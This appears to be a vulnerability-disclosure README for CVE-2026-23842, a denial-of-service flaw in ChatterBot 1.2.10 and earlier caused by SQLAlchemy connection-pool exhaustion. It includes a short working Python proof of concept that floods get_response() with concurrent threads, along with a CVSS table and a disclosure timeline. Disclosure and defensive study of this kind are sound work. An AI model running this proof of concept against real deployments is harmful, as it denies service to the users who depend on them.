adityabhatt3010/cve-2026-23842-denial-of-service-via-database-connection-pool-exhaustion-version-1.2.10CVE-2026-23842 — High severity Denial-of-Service vulnerability caused by SQLAlchemy connection pool exhaustion in concurrent get_response() calls in ChatterBot ≤ 1.2.10.
This repository documents my discovery and responsible disclosure of CVE-2026-23842, a High Severity Denial-of-Service vulnerability in ChatterBot.
ChatterBot versions ≤ 1.2.10 are vulnerable to a Denial-of-Service condition caused by improper database session and connection pool management.
Concurrent invocations of:
get_response()
can exhaust the underlying SQLAlchemy , resulting in:
QueuePoolsqlalchemy.exc.TimeoutError<= 1.2.10
>= 1.2.11
ChatterBot relies on SQLAlchemy for database interaction and uses a default connection pool configuration.
However:
When multiple threads invoke get_response() simultaneously:
TimeoutErrorThis results in service-wide denial of availability.
from chatterbot import ChatBot
import threading
bot = ChatBot("dos-test")
def attack():
bot.get_response("hello")
threads = []
for _ in range(30):
t = threading.Thread(target=attack)
t.start()
threads.append(t)
for t in threads:
t.join()
The following video demonstrates:
If deployed as:
An attacker can remotely trigger the condition without authentication.
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Confidentiality | None |
| Integrity | None |
| Availability | High |
| Date | Event |
|---|---|
| Jan 9 | Vulnerability reported |
| Jan 13 | Maintainer reproduced issue |
| Jan 17 | Advisory published |
| Jan 19 | CVE-2026-23842 assigned |
| Jan 21 | Public release |
Discovered and responsibly disclosed by:
Aditya Bhatt VAPT Specialist CVE-2026-23842 Reporter
This vulnerability was responsibly disclosed to the maintainer prior to public release. No exploit was publicly shared before patch availability.